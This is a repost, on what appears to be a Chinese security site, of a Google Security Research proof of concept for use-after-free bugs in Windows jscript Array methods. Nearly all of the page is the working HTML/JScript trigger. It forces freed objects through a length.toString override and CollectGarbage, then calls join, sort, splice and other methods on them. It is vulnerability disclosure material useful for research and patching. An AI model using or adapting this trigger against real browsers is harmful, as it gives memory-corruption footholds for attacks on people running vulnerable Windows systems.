Microsoft Windows - Multiple Use-After-Free Issues in jscript Array Methods

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Microsoft Windows - Multiple Use-After-Free Issues in jscript Array Methods

来源：Google Security Research 作者：Google 发布时间：2018-04-08

<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var vars = {};

function f() {
alert('in f');
for(var i=0; i<40000; i++) {
    vars[i] = 1;
}
vars.length = 0;
CollectGarbage();
alert(this);
}

for(var i=0; i<20000; i++) {
vars[i] = [];
}
vars.length = [];
for(var i=20000; i<40000; i++) {
vars[i] = [];
}

vars.length.toString = f;

// all of these work, just uncomment the one you want to test
//Array.prototype.join.call(vars);
//Array.prototype.reverse.call(vars);
//Array.prototype.sort.call(vars);
//Array.prototype.pop.call(vars);
//Array.prototype.push.call(vars, 1);
//Array.prototype.shift.call(vars);
//Array.prototype.unshift.call(vars, 1);
//Array.prototype.slice.call(vars, 1);
Array.prototype.splice.call(vars, 1, 1);

alert('failed');

</script>

[